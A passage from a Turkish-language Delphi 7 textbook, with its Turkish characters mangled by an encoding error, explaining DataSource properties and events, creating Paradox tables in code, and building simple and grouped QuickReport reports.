Tablonuza ait kayıtların “Data Controls” yapra÷ında yer alan kontrollere aktarılabilmesi (veya tam tersi) için kullandı÷ımız çok önemli bir kontroldür. Çok fazla özelli÷i olmamakla beraber, var olan bir kaç özellik aúırı önem arz etmektedir. Aúa÷ıda kontrole ait kullanılan özellik ve yordamlar izah edilmektedir. x DataSource1.DataSet Bu özellik sayesinde kaynak olarak kullanılacak olan tablo kontrolü belirlenebilir. Ba÷lanılan kaynaktaki tüm kayıtlar bu aúamadan sonra formunuzun üzerindeki kontrollere aktarılabilecektir. procedure TForm1.FormCreate(Sender: TObject); begin Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1;//Kayna÷a ba÷lan DBGrid1.DataSource:=DataSource1; Table1.Active:=TRUE;//kayıtları göster end; x DataSource1.AutoEdit Varsayılan de÷eri true olan bu özellik tabloda yanlıúlıkla yapılabilecek olan de÷iúiklikleri engellemek için kullanılmaktadır. ùayet false de÷erini aktarırsanız, kullanıcı “DBNavigator” kontrolündeki “Edit” dü÷mesine basmadan veya “Table1.Edit” komutunu ça÷ırmadan kontrollerdeki bilgileri de÷iútiremiyecektir. Özelli÷i anlamanız için aúa÷ıdaki tasarımı oluúturup uygulamanızı çalıútırınız. Fornunuzun üzerine bir adet “Table” bir adet “DataSource” bir adet “DBNavigator” ve bir adet “DBGrid” kontrolü yerleútirmek yeterli olacaktır. 157 Aúa÷ıda verece÷im koda dikkat ediniz. Çünkü “DataSource” kontrolüne ait “AutoEdit” özelli÷ine “false” de÷eri aktarılmaktadır. Bu sayede kullanıcı mous ile tıklayarak kayıtlarda de÷iúiklik yapamaz. procedure TForm1.FormCreate(Sender: TObject); begin Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1; DataSource1.AutoEdit:=false; //da÷iútirmeye izin verme DBGrid1.DataSource:=DataSource1; DBNavigator1.DataSource:=DataSource1;//Kayna÷ı Yönet Table1.Active:=TRUE; end; ùimdi programınızı çalıútırıp herhangi bir kaydı de÷iútirmeye çalıúın, baúaramayacaksınız. Bu aúamada kayıtlarınız üzerinde de÷iúiklik yapabilmeniz için “DBNavigator” kontrolünde yer alan “Edit” (sa÷dan dördüncü dü÷me) dü÷mesini kullanmanız gerekecektir. x OnDataChange Yordamı Tabloda yer alan kayıtlarda yapılan de÷iúikliklerde otomatik olarak iúleyen bir yordamdır. Yani bulundu÷unuz kaydı de÷iútirirseniz veya kayıt gezinti dü÷melerinden herhangi bir tanesini kullanırsanız yordamı otomatik olarak iúletirsiniz. Master-Detail tablo yapısında bu yordam kullanılarak “Detail” tablosuna ait kayıtlar listelenebilmektedir. Aúa÷ıdaki örnekte bu yordam kullanılarak ana tablodaki kayıt de÷iúti÷i zaman yavru tabloda da sadece aktif kayıttaki bilgiler gösterilmektedir. 158 Uygulamamız için formunuza bir adet “Table” , bir adet “Query” iki adet “DBGrid”, iki adet “DataSource” ve iki adet “DBNavigator” kontrolü yerleútirerek aúa÷ıdaki tasarımı oluúturunuz. Programa ait kod blo÷u aúa÷ıda verilmiútir. Tamamını dikkatlice inceleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin //Birinci Tablo Ayarları Yapılıyor Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1; DBGrid1.DataSource:=DataSource1; DBNavigator1.DataSource:=DataSource1; Table1.Active:=TRUE; //økinci tablo ayarları yapılıyor. Query1.SQL.Clear; Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Table1.Fields[0].AsString;//ma÷azaadı sütunu Query1.Open; 159 DataSource2.DataSet:=Query1; DBGrid2.DataSource:=DataSource2; DBNavigator2.DataSource:=DataSource2; Query1.Open; end; procedure TForm2.DataSource1DataChange(Sender: TObject; Field: TField); begin Query1.SQL.Clear; Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Table1.Fields[0].AsString; Query1.Open; DataSource2.DataSet:=Query1; DBGrid2.DataSource:=DataSource2; Query1.Open; end; Artık programınızı çalıútırabilirsiniz. Ekran görüntünüz aúa÷ıdaki úekilde gerçekleúecektir. ølk tabloda hangi ma÷aza kaydını seçerseniz, sadece o ma÷azaya ait yapılmıú olan servisleri ikinci tabloda listeleyeceksiniz. 160 x OnUpdateData Yordamı Kayıtlar veri tabanına yazılmadan hemen önce iúleyen bir yordamdır. Yani yaptı÷ınız de÷iúikliklerin tablonuza yansımasından hemen önce iúletilecektir. Tablonuza ait kayıt bilgileri üzerinde bu yordama yazaca÷ınız kodla gerekli kontrolü sa÷layabilirsiniz. “DBNavigator” kontrolünde yer alan “Uygula” (sa÷dan üçüncü) dü÷mesine tıklamanız bu yordamın iúletilmesini sa÷layacaktır. procedure TForm2.DataSource1UpdateData(Sender: TObject); begin ShowMessage('Kayıtlar Tabloya øúlendi'); end; x OnStateChange Yordamı Bu yordamı kullanarak “DataSource” kontrolünün ba÷lı oldu÷u kayna÷ın (Table-Query veta Stored Proc) de÷iúip de÷iúmedi÷ini kontrol edebilirsiniz. “State” özelli÷inin de÷iútirilmesi bu yordamın iúletilmesini sa÷layacaktır. procedure TForm2.DataSource1StateChange(Sender: TObject); begin ShowMessage('Ba÷lantı Kayna÷ı De÷iúti'); end; Uyarı: DataSource nesnesi ile çalıúırken “Auto Edit” özelli÷ine true de÷erini aktarmanız tavsiyemiz olacaktır. 161 Kodla Tablo Oluúturmak: Uygulamalarınızda tablolarınızı genellikle “DataBase Desktop” ı kullanarak oluúturacaksınız. Yanlız aúa÷ıda izah edece÷im yöntemlerle tüm oluúumu kodla yaptırırsanız bir çok durumda çok büyük esneklik kazanacaksınız. Kodla tablo oluúturabilmek için uses satırına “DBTables” kütüphanesini eklemeniz gerekecektir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DB, DBTables;//eklemeyi unutmayınız. ùimdi tablo oluúturma adımlarına geçelim. ølk olarak aúa÷ıdaki úekilde tablo iúlemlerinizi yürütebilece÷iniz de÷iúkeni tanımlamlısınız (Çünkü BDE yapra÷ından sürükleme yapılmayacaktır). procedure TForm3.FormCreate(Sender: TObject); Var tablo:TTable; begin tablo:=TTable.Create(Form3);//nesneyi yarat end; x tablo.DatabaseName Bu özellik sayesinde tabloyu kaydedebilece÷iniz klasörü belirleyebilirsiniz. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat';//buraya kaydet end; x tablo.TableType Hangi veri tabanına ait tablo yarataca÷ınızı bu özellikle belirleyebilirsiniz. Yarataca÷ınız tablo “Paradox” , “Dbase” vs olabilmektedir. Aúa÷ıdaki örnekte “paradox” veri tabanı özelliklerini taúıyan bir tablo yaratılmaktadır. Dilerseniz siz “Dbase” e ait bir tablo yaratabilirsiniz. 162 procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; end; x tablo.FieldDefs.Clear Tablo sütunlarını temizlemek için kıullanılan methoddur. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear;//temizle end; x tablo.TableName Tabloya isim verme iúlemini bu özellikle gerçekleútirebilirsiniz. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; end; x tablo.FieldDefs.Add Tablo sütunlarını bu method sayesinde belirleyebilirsiniz. Bu methodla tablonuza diledi÷iniz kadar sütun ekleyebilirsiniz. 163 procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE); TABLO.FieldDefs.Add('ADISOYADI',ftString,25,FALSE); tablo.FieldDefs.Add('ADRES',ftString,25,FALSE); end; Yukarıdaki örneklemede “zeki” isimli tabloya üç adet sütun eklenmniútir. Ekleme iúlemi sırasında dört adet parametre kullanılmıútır. ùimdi bu parametrelerin ne iúe yaradıklarını izah edece÷im. Birinci parametre sütuna ait ismi, ikinci parametre o sütuna ait veri tipini, üçüncü parametre kaç karakterden oluúaca÷ını (sayisal içeriklerde “0” verebilirsiniz), dördüncü parametre ise boú geçilip geçilemeyece÷ini belirlemektedir. ùayet true de÷eri aktarılırsa o sütuna bilgi giriúi zorunlu hale gelecektir. x tablo.IndexDefs.Clear Tabloda daha önceki indexleri temizlemek için kullanılan komuttur. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.IndexDefs.Clear;//temizle end; x tablo.IndexDefs.Add Yarattı÷ınız tabloya index eklemek için kullanılan methoddur. Bu methodu kullanarak birden fazla index belirleyebilirsiniz. Aúa÷ıdaki örnekte tablonuz için nasıl index yaratabilece÷iniz gösterilmektedir. Method içerisinde üç parametre kullanılmaktadır, parametrelerin ne iúe yaradıklarından bahsedece÷im. 164 úimdi sizlere bu procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); TABLO.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]);//index yarat end; Birinci parametre indexinizin ismini, ikinci parametre hangi sütunun index olarak tanımlandı÷ını, üçüncü parametre ise indexinizin ne tipte olaca÷ını (Primary Unique vs) belirlemektedir. x tablo.CreateTable Tabloya ait tüm özellikler belirlendikten sonra bu komut sayesinde tablonuz yaratılacaktır. Aúa÷ıda tablo yaratmak için tüm kod verilmektedir. procedure TForm3.FormCreate(Sender: TObject); //Tablo yarat var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE);//ilk sütun tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE);//ikinci sütun tablo.FieldDefs.Add('ADRES',ftString,25,FALSE);//üçüncü sutun TABLO.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]); tablo.CreateTable;//Tabloyu yarat end; Yukarıdaki kod blo÷unu iúletirseniz zeki isminde paradox veri tabanına ait tablonuz “c:\nihat” klasörünün içerisinde oluúturulacaktır. Bu tip tablo yaratma iúlemlerinde daha önce fonksiyonlar kısmında gösterilen komutlarla tablonun var olup olmadı÷ını kontrol ederseniz iúlemleriniz daha güvenli bir úekilde gerçekleúecektir. 165 procedure TForm3.Button1Click(Sender: TObject); var tablo:TTable; begin if FileExists('c:\nihat\zeki.db')=false Then//tablo yoksa yarat begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE); tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE); tablo.FieldDefs.Add('ADRES',ftString,25,FALSE); tablo.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]); tablo.CreateTable;//Tabloyu yarat ShowMessage('Tablo Yaratıldı'); end else ShowMessage('Tablo Zaten Var'); end; Kodu çalıútırdıktan sonra c:\nihat klasörü aúa÷ıdaki úekilde gözükecektir. 166 BÖLÜM 5 RAPOR DOSYASI OLUùTURMAK 167 168 Rapor Dosyaları Oluúturmak: ùu ana kadar iúlenen bölümlerde oluúturdu÷umuz arayüzler sayesinde kontrolleri kullanarak çeúitli bilgileri tablo halinde Harddisk’e kaydetme iúlemini gerçekleútirdik. ùimdiki bölümde ise kaydetti÷imiz bu tablolara ait bilgileri yazıcıya düzgün bir úekilde gönderme iúlemini gerçekleútirece÷iz. Yazdı÷ınız kodlar ne kadar güzel olursa olsun, iúinizin devamının getirilebilmesi için unutmayınızki rapor sayfalarınız çok düzgün úekilde oluúturulmalıdır. Delphi içerisinde rapor oluúturabilmek için iki yönteminiz bulunmakta. Birincisi “Rave” kontrolleri ile rapor, ikincisi ise “Qreport” yapra÷ındaki kontrolleri kullanarak rapor oluúturmaktır. Biz “Qreport” yapra÷ını kullanarak rapor oluúturaca÷ız. Bu yaprak varsayılan olarak yüklenmemiútir, bu yüzden do÷ru klasörden yükleme iúlemini gerçekleútirmelisiniz. Aúa÷ıda “Qreport” yapra÷ını yüklemek için izleyece÷iniz adımlar gösterilmiútir. “Component->Install Packages” adımlarını izleyin. Add Buttonuna basarak aúa÷ıdaki adresteki dosyayı seçin. “C:\ProgramFiles\Borland\Delphi7\Bin\dclqrt70.bpl” “Ok” Basın. “Qreport yapra÷ının eklendi÷ini göreceksiniz. ùimdi bu yapraktaki kontrolleri kullanarak nasıl rapor oluúturabilece÷inizi gösterece÷im. Rapor oluúturmak için formunuzun üzerinde muhakkak kaynak tablo ile ba÷lantısı olan “Table” veya “Query” veya “Stored Procedure” kontrollerinden bir tanesinin bulunması gerekmektedir. Bu yüzden ilk olarak yazdıraca÷ınız tabloya ait ba÷lantı iúlemlerini kesinlikle gerçekleútirmek zorundasınız. Ba÷lantı iúlemlerini baúarılı bir úekilde gerçekleútirdikten sonra aúa÷ıdaki kontrolleri kullanarak kolaylıkla sonderece profesyonel rapor dökümanları oluúturabilirsiniz. Her ne kadar örnek üzerinde daha detaylı alıútrmalar yapılacak olsa da yinede bu yapraktaki kontrollerden kısaca bahsetmek istiyorum. 169 QuickRep Kontrolü: Rapor oluúturmak için kullanılması zorunlu olan bir kontroldür. Tüm sayfa yapısını özelliklerini ve di÷er kontrolleri üzerinde barındıracaktır.Bir çok bandı bulunmaktadır. Bu bandlar kullanılarak di÷er kontroller ilgili yerlere yerleútirilebilmektedir. QRSubDetail Kontrolü: QuickRep kotrolüne yavru band eklemek için kullanılan bir kontroldür. QRBand Kontrolü: QuickRep kontrolüne band eklemek için kullanılan kontroldür. Bandın tipi daha sonra de÷iútirilebilmektedir. QRGroup Kontrolü: ùayet raporda gruplandırma yapılacaksa kullanılması gereken bir kontroldür. QRLabel Kontrolü: Bantlara etiket eklemek için kullanılan kontroldür. Tüm açıklama verileri için bu kontrol kullanılmaktadır. QRDBText Kontrolü: Tablo sütunları ile ba÷lantı kuracak olan kontroldür. QRExpr Kontrolü: Di÷er hücre de÷erlerini kullanarak hesap yapabilen bir kontroldür. Alt Toplam, Genel Toplam hesaplattırılırken bu kontrolden faydalanılır. QRSysData Kontrpolü: Sayfa numarası, toplam sayfa , tarih, saat vs gibi de÷erleri yazdırabilen kontroldür. QRMemo Kontrolü: Uzun karakterli verileri yazdırmak için kullanılan kontroldür. Bu kontrolle diledi÷iniz kadar açıklama satırını yazdırabilirsiniz. 170 QRRichText Kontrolü: Farklı formattaki içerikleri yazdırmak için kullanılan kontroldür. QRShape Kontrolü: Geometrik úekilleri çizdirmek için kullanılan kontroldür. Bu kontrol sayesinde daire, çizgi, elips,halka vs çizdirebilirsiniz. QRImage Kontrolü: Resim içerikli verileri bastırmak için kullanılan kontroldür. Bilhassa firmaya ait logoyu bu kontrolle bastırabilirsiniz. QRDBImage Kontrolü: Tabloda yer alan resimleri yadırmak için kullanılan kontroldür. Aúa÷ıdaki tabloyu oluúturup içerisindeki kayıtları yazıcıya gönderelim. Fieeld Name(Sütun øsmi) Type(Tipi) Size (Kaç Karakter) SIRANO + Otomatik artar MAGAZAADI A 25 SERVISTARIHI D GIDENFIRMA A 25 ARIZASEBEBI A 25 FATURATUTARI $ Key(Primary ind) * Secondary Index ølk olarak formunuza bir adet “Table” (Query de olabilirdi) nesnesi yerleútirin. Ardından table nesnesi ile tablonuz arasındaki ba÷lantıyı gerçekleútirin (DataBaseName ile TableName özelliklerini ayarlayın). Table nesnenizin (Table1) Active özelli÷ini true yapın. Bu adımda formunuza bir adet “QuickRep” kontrolü taúıyıp bırakın. “QuickRep” kontrolün “Object Inspector” penceresinden “Dataset” özelli÷ine “Table1” de÷erini girin. Tekrar “QuickRep” kontrolünü seçin ve “Object Inspector” penceresinde yer alan “Bands” özelli÷inin solundaki “+” iúaretine tıklayın. Alt seçenekleri açılacaktır. Açılan bu bandlardan “HasTitle” olan özelli÷i true yapın. Delphi otomatik olarak “Title” bandını “QuickRep” kontrolünün içerisinde oluúturacaktır. Bu banda yerleútirilecek içerikler sadece raporunuzun ilk sayfasının baúlangıcında yer alacaktır. Di÷er sayfalara bu bandın herhangi bir etkisi yoktur. 171 “HasTitle” bandı aktifleútirildikten sonra “QuickRep” kontrolüne ait görüntü aúa÷ıdaki úekilde gerçekleúecektir. “HasTitle” bandına raporunuzun baúlı÷ını belirlemek için bir adet “QRLabel” kontrolü yerleútirip içeri÷ine (Caption özelli÷ine) “MAöAZA SERVøS TAKøP ÇøZELGESø” yazın. Yapmıú oldu÷unuz de÷iúikliklerin rapor görüntüsünü almak için “QuickRep” kontrolü üzerinde mousun sa÷ tuúuna tıklayıp “Preview” komutunu verebilirsiniz. “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasColumnHeader” bandına true de÷erini aktarın. Bu band sütun baúlıklarının gösterilece÷i banddır, rapor sayfalarınızın tamamının baúlı÷ında gözükecektir. Bu banda da beú adet “QRLabel” kontrolü yerleútirip içeriklerini sütun baúlıklarını gösterecek metinle doldurun. 172 “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasPageHeader” bandına true de÷erini aktarın. Tüm sayfalarda gözükmesini isteyece÷iniz üst bilgiler için bu bandı kullanabilirsiniz. Bu banda “QRSysData” kontrolünden bir adet yerleútirip, “Object Inspector” penceresinden “Data” özelli÷ine “qrsDate” de÷erini aktarın. Bu kontrol artık aktif raporun basılma tarihini gösterecektir. Bu adımda tekrar “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasDetail” bandına true de÷erini aktarın. Tablo sütun bilgilerinin yer aldı÷ı bölüm bu kısımdır. Bu banda beú adet “QRDBText” kontrolü yerleútirip aúa÷ıdaki ayarları herbiri için ayrı ayrı yapın. Birinci “QRDBText” kontrolünü seçip “Object Inspector” penceresinden “DataSet” özelli÷ine “Table1”, “DataField” özelli÷ine de gösterece÷i sütun de÷erlerini aktarın. Bu iúlemi 5 kontrol için de ayrı ayrı yapın. 173 ùimdiki iúlemimiz “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasPageFooter” bandını aktifleútirmek olacak. Bu band rapor sayfalarının hepsinde alt bilgi olarak kullanılacaktır. Genellikle sayfa sayısı veya toplam sayfa adedi gibi etiketlerin yer aldı÷ı bölümdür. Bu kısma “QRSysData” kontrolünden bir adet yerleútirip “Data” özelli÷ine “qrsPageNumber” de÷erini aktarın. Bu iúlemden sonra kontrol aktif sayfa sayısını gösterecektir. Basit raporlama için aktifleútirece÷imiz son band “HasSummary” bandıdır. Bu band raporunuzun en sonunda gözükecek olan kısımdır. Genellikle rapor toplamlarına ait hesaplamaların yaptırılaca÷ı yerdir. Bu banda yerleútirece÷iniz “QRExp” kontrolü sayesinde tablo sütunlarınıza ait fonksiyonel hesaplatmaları yaptırabilirsiniz. ùimdi bir adet (“FATURATUTARI” sütununun alt hizasına) “QRExp” kontrolünü bu banda yerleútirip “Expression” özelli÷ine tıklayın, aúa÷ıdaki pencere açılacaktır. “Function” ve “DataField” dü÷melerini kullanarak yukarıda gösterilen formülü “Expression” penceresine girin. “OK” Basın. Bu aúamada raporunuza “preview” komutunu verirseniz “QRExp” kontrolü içerisinde hesaplanan de÷erin parasal formata çevrilmeden gösterildi÷ini göreceksiniz. Aksaklı÷ı düzeltmek için “QRExp” kontrolünü seçip “Mask” özelli÷ine “###,###,### TL” de÷erini aktarıp raporunuzun önizlemesini alın. Yine “HasSummary” bandına “QRLabel” kontrolü yerleútirerek (QRExp kontrolünün etiketi olacak úekilde soluna yerleútirin) “Caption” özelli÷ine “TOPLAM FATURA TUTARI” yazın. Raporunuzu baskı önizleme konumuna getirirseniz görüntünüz aúa÷ıdaki úekilde oluúacaktır. 174 Bu adımda sütun baúlıklarının altına kalın çizgi, kayıtların altlarına da ince çizgi çekmeyi gösterece÷im. “QrShape” kontrolünden bir adet sütun baúlıklarının altına (ColumHeader bandı) boydan boya çizin. Varsayılan olarak “Shape” özelli÷i “qrsRectangle” dır. Yani dikdörtgen çizer. Bu özelli÷e “qrsHorLine” de÷erini aktarın ve “Pen” özelli÷inin altında yer alan “Width” de÷erine “3” girip preview görüntüsünü alın. Aynı iúlemi “Detail” band bileúenlerinin (QRDBText kontrolleri) altında da yapın fakat width de÷erini de÷iútirmeyin. 175 Gruplandırılmıú Rapor Dosyası Oluúturmak: Yukarıdaki raporda, kayıtlara dikkat edecek olursanız satırlar kayıt giriú sırasına göre oluúturulmuútur. ùimdiki iúlemimizde aynı ma÷aza ismine sahip olan kayitların alt alta ve grup halini almıú úekilde listelenmesini sa÷layaca÷ız. Aúa÷ıda bu husus adım adım izah edilmektedir. ølk olarak formunuza bir adet “Table” (Query de olabilirdi) nesnesi yerleútirin. Ardından table nesnesi ile tablonuz arasındaki ba÷lantıyı gerçekleútirin (DataBaseName ile TableName özelliklerini ayarlayın). Table nesnenizin (Table1) Active özelli÷ini true yapın. Bu adımda formunuza bir adet “QuickRep” kontrolü taúıyıp bırakın. “QuickRep” kontrolün Object Inspector” penceresinden “Dataset” özelli÷ine “Table1” de÷erini girin. Tekrar “QuickRep” kontrolünü seçin ve “Object Inspector” penceresinde yer alan “Bands” özelli÷inin solundaki “+” iúaretine tıklayın. Alt seçenekleri açılacaktır. Açılan bu bandlardan “HasTitle” olan özelli÷i true yapın. Delphi otomatik olarak “Title” bandını “QuickRep” kontrolünün içerisinde oluúturacaktır. Bu banda yerleútirilecek içerikler sadece raporunuzun ilk sayfasının baúlangıcında yer alacaktır. Di÷er sayfalara bu bandın herhangi bir etkisi yoktur. “HasTitle” bandına raporunuzun baúlı÷ını belirlemek için bir adet “QRLabel” kontrolü yerleútirip içeri÷ine (Caption özelli÷ine) “MAöAZA SERVøS TAKøP ÇøZELGESø” yazın. Yapmıú oldu÷unuz de÷iúikliklerin rapor görüntüsünü almak için “QuickRep” kontrolü üzerinde mousun sa÷ tuúuna tıklayıp “Preview” komutunu verebilirsiniz. “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasColumnHeader” bandına true de÷erini aktarın. Bu band sütun baúlıklarının gösterilece÷i banddır, rapor sayfalarınızın tamamının baúlı÷ında gözükecektir. Bu banda da beú adet “QRLabel” kontrolü yerleútirip içeriklerini sütun baúlıklarını gösterecek metinle doldurun. “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasPageHeader” bandına true de÷erini aktarın. Tüm sayfalarda gözükmesini isteyece÷iniz üst bilgiler için bu bandı kullanabilirsiniz. Bu banda “QRSysData” kontrolünden bir adet yerleútirip, “Object Inspector” penceresinden “Data” özelli÷ine “qrsDate” de÷erini aktarın. Bu kontrol artık aktif raporun basılma tarihini gösterecektir. Buraya kadar olan kısım yukarıdaki örnekle aynı olacaktır. ùimdi gösterece÷im adımlar gruplandırma iúlemini gerçekleútirecektir. Dikkatlice inceleyiniz 176 “Qreport” yapra÷ında yer alan “QRGroup” kontrolünden bir adet “QuickRep” kontrolünün üzerine yerleútirin. Otomatik olarak “GroupHeader” özelli÷ini alacaktır. Bu banda gruplandırma yapaca÷ınız sütun veya sütunları yerleútirebilirsiniz. “Qreport” yapra÷ından bir adet “QRDBText” kontroünü “MAGAZAADI” sütununun altına gelecek úekilde yerleútirin. “DataSet” özelli÷ine “Table1”, DataField” özelli÷ine de “MAGAZAADI” sütununu aktarın. Mousun sa÷ tuúuna basıp “Preview” görüntüsü alırsanız, aúa÷ıdaki ekran görüntüsüyle karúılaúırsınız. Raporun “MAGAZAADI” sütununa göre alfabetik sırada oluúmasının sebebi “Object Inspector” penceresinden “Index Name” özelli÷ine paradox tablosunda secondary index olarak tanımlanmıú olan “MAGAZAADIINDEX” de÷erinin aktarılmıú olmasından kaynaklanmaktadır (Gruplandırma yapaca÷ınız sütunu tablonuzda index tanımlamalı ve aktif hale getirmelisiniz. ùayet Query kontrolünü kaynak olarak kullandıysanız, o zaman indexe gerek olmayıp sadece gruplandırma yapaca÷ınız sütuna göre “Order By” komutunu kullanmalısınız). Bu adımda “QuickRep” kontrolünü seçip Daha önce anlatıldı÷ı gibi “Object Inspector” penceresinden “HasDetail” bandına true de÷erini aktarın. Bu bandın içerisine dört (4) adet “QRDBText” kontrolü yerleútirin. Dört tane dememizin sebebi “MAGAZAADI” sütunu içeri÷ini gösterecek olan kontrol “GroupHeader” bandına yerleútirilmiútir. Geriye kalan dördünü bu banda yerleútirmelisiniz. Dört kontrol için “DataSet” ve 177 “DataField” özelliklerini ayarlayın. Raporun tasarım anındaki en son görüntüsü aúa÷ıda verilmiútir. Yine bu adım gruplandırma iúlemi için çok önemli, “Qreport” yapra÷ında yer alan “QRBand” kontrolünden bir adet “QuickRep” kontrolünün üzerine çizin. Varsayılan olarak “Title” bandı gözükecektir. Bu bandın “Object Inspector” penceresinden “BandType” özelli÷ine “rbGroupFooter” de÷erini aktarın. ùimdi daha önceden eklemiú oldu÷unuz “QRGroup1” bandını seçip “Object Inspector” penceresinden “Footer Band” özelli÷ine “QRBand1” de÷erini aktarın. Artık bu iki band grup iúlemleri için eúgüdümlü olarak çalıúacaktır. “Bu adımda “QRBand1” (Group Footer) kontrolüne bir adet “QRExp” kontrolü yerleútirin. “Expression” özelli÷ine tıklayarak aúa÷ıdaki formülü girin. 178 Yapmıú oldu÷unuz bu hesaplamanın etiketini belirlemek amaçlı “QRBand1” kontrolüne bir adet “QRLabel” kontrolü yerleútirip “Caption” özelli÷ine “ALT TOPLAM” içeri÷ini girin (“QRExp” kontrolünün hemen soluna). Tekrar “QRGroup” bandını (Group Header) seçerek “Expression” özelli÷ine aúa÷ıdaki formülü girin (Gruplandırma yapaca÷ı sütunu belirtmek gerekiyor). 179 “QuickRep” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan menüden “Preview” seçene÷ine tıklarsanız yukarıdaki görüntüyle karúılaúırsınız. Her ma÷azanın altında, alt toplam olarak sonuçların gösterildi÷i sanıyorum dikkatinizi çekmiútir. ùimdiki iúlemimiz “QuickRep” kontrolünü seçip “Object Inspector” penceresinden “HasPageFooter” bandını aktifleútirmek olacak. Önceki örnekte izah edildi÷i gibi bu band rapor sayfalarının hepsinde alt bilgi olarak kullanılacaktır. Genellikle sayfa sayısı veya toplam sayfa adedi gibi etiketlerin yer aldı÷ı bölümdür. Bu kısma “QRSysData” kontrolünden bir adet yerleútirip “Data” özelli÷ine “qrsPageNumber” de÷erini aktarın. Bu iúlemden sonra kontrol aktif sayfa sayısını gösterecektir. Gruplandırılmıú rapor oluúturmak için aktifleútirece÷imiz son band “HasSummary” bandıdır. ùimdi bir adet (“FATURATUTARI” sütununun alt hizasına) “QRExp” kontrolünü bu banda yerleútirip “Expression” özelli÷ine tıklayın, aúa÷ıdaki pencere açılacaktır. “Function” ve “DataField” dü÷melerini kullanarak yukarıda gösterilen formülü “Expression” penceresine girin. “OK” Basın. Bu aúamada raporunuza “preview” komutunu verirseniz “QRExp” kontrolü içerisinde hesaplanan de÷erin parasal formata çevrilmeden gösterildi÷ini göreceksiniz. Aksaklı÷ı düzeltmek için “QRExp” kontrolünü seçip “Mask” özelli÷ine “###,###,### TL” de÷erini aktarıp raporunuzun önizlemesini alın. Yine “HasSummary” bandına “QRLabel” kontrolü yerleútirerek (QRExp kontrolünün etiketi olacak úekilde soluna yerleútirin) “Caption” özelli÷ine “TOPLAM FATURA TUTARI” yazın. 180 Raporunuzu baskı önizleme konumuna getirirseniz görüntünüz aúa÷ıdaki úekilde oluúacaktır. “Group Footer” kısmında yer alan “Alt Toplam” de÷erinin kümülatif (Bir önceki alt toplama eklenerek) gitti÷ine dikkat etmiúsinizdir. ùayet her toplamın birbirinden ba÷ımsız olarak gösterilmesini isterseniz o zaman aúa÷ıdaki adımları izlemelisiniz. “Group Footer” bandında yer alan “QRExp1” kontrolünü seçin. “Object Inspector” penceresinde yer alan “ResetAfterPrint” özelli÷ine “true” de÷erini aktarın. Bu aúamadan sonra mousun sa÷ tuúuna tıklayıp “Preview” komutunu verirseniz, “Group Footer” kısmında yer alan tüm hesaplatmalar (birden fazla hesaplatma yaptırabilirsiniz) birbirlerinden ba÷ımsız olarak yapılacaktır. Yani hesaplanan ma÷azaya ait tutara bir önceki ma÷azanın toplam de÷eri eklenmeyecektir. 181 Aúa÷ıda raporun en son tasarım görüntüsü ile “Print preview” görüntüsü verilmektedir. Dikkat edin alt toplam de÷erleri artık kümülatif de÷il, birbirlerinden tamamen ba÷ımsız olarak hesaplanmaktadır. 182 Rapor Dosyasına Uygulamanızdan Eriúmek: Oluúturdu÷unuz raporunuzun baskı önizleme görüntüsüne, program içerisinden nasıl ulaúabilece÷iniz hususu önem arz etmektedir. Do÷rusunu isterseniz fazla bir u÷raúa gerek yok ama bilinmesi gerekmektedir. Aúa÷ıdaki uygulamada “Form1” üzerinde oluúturulmuú bir raporu “Form5” üzerine yerleútirilecek “Button” kontrolünün “OnClick” yordamından açalım. Aúa÷ıdaki kod blo÷unu kullanabilirsiniz. uses Unit1; //eklemeyi unutmayınız. {$R *.dfm} procedure TForm5.Button1Click(Sender: TObject); //Baskı Önizleme 